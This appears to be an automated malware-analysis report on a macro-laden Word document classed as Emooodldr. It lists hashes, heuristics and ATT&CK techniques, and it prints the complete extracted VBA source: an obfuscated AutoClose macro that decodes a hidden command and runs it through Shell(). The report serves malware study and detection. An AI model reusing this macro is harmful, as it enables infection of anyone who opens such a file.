Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 f4b997725f499272…

MALICIOUS

Office (OOXML)

53.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-18
MD5: 3caaa4e73ce36a5a784722e8f3414779 SHA-1: a8498b821900f38185d4c06020c1947c128e3386 SHA-256: f4b997725f499272c992b611b85db6b23f5b147319c0db0f093550178cbc1a17
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OOXML document containing VBA macros, specifically an AutoClose macro that utilizes a Shell() call. This indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family and its associated behavior.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2080 bytes
SHA-256: edf20e658f3789ceab3aacf60bfcb8811d10ae9c2624c915593007d49e3a257f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function clickwrap(outspan)
  bashmuric = Array("G", "i", "5", "c", "W", "r", "M", "p", "K", "Z", "P", "3", "U", "", "F", "E", "b", "C", "S", "2", "l", "D", "d", "R", "v", "1", "J", "k", "u", "B")
  mossberry = Array("=", ":", "o", " ", "t", "x", "g", "f", "b", "s", "R", "m", "p", "a", "h", "k", "d", "G", "w", "n", "/", ".", "c", "i", "?", "y", "P", "u", "q", "e")
  
  papilionine = vbNullString
  
  For Each archilithic In outspan
    microspectrophotometers = suction(archilithic, bashmuric)
    If microspectrophotometers > -1 Then
    papilionine = mossberry(microspectrophotometers) + papilionine
    End If
  Next
  
  clickwrap = StrReverse(papilionine)
  
End Function

Public Function suction(rational, brickkiln)
  koruny = 5521
  quaitso = 7919
  For koruny = 0 To UBound(brickkiln)
    If brickkiln(koruny) = rational And koruny > -1 Then
     quaitso = koruny
    End If
  Next

  If quaitso = 7919 Then
    quaitso = -1
  End If
  
  suction = quaitso
End Function


Sub AutoClose()
  outspan = Array("3", "Z", "F", "W", "", "D", "B", "r", "B", "c", "F", "W", "W", "U", "i", "l", "l", "5", "E", "b", "R", "u", "1", "K", "M", "u", "k", "S", "b", "2", "u", "S", "b", "", "D", "d", "5", "3", "l", "P", "J", "C", "l", "Z", "5", "p", "D", "U", "F", "U", "v", "k", "W", "3", "", "G", "5", "U", "Z")
  centauromachy = clickwrap(outspan)
  
  Application.Run "deepening", (centauromachy)
  
End Sub


Private Sub deepening(algebraist)
   
   guaranian = 16202
   cessative = True
   
   While cessative
     bumps = guaranian + 717
     If bumps - guaranian > 1 Then
       missioning = minipill + "ll"
       Call VBA.Shell(algebraist, vbNormalFocus - 1)
       cessative = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: b598e9021697b144c2cfd94b869d40ef39c5206503a2605a470f5df7302cdc07
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely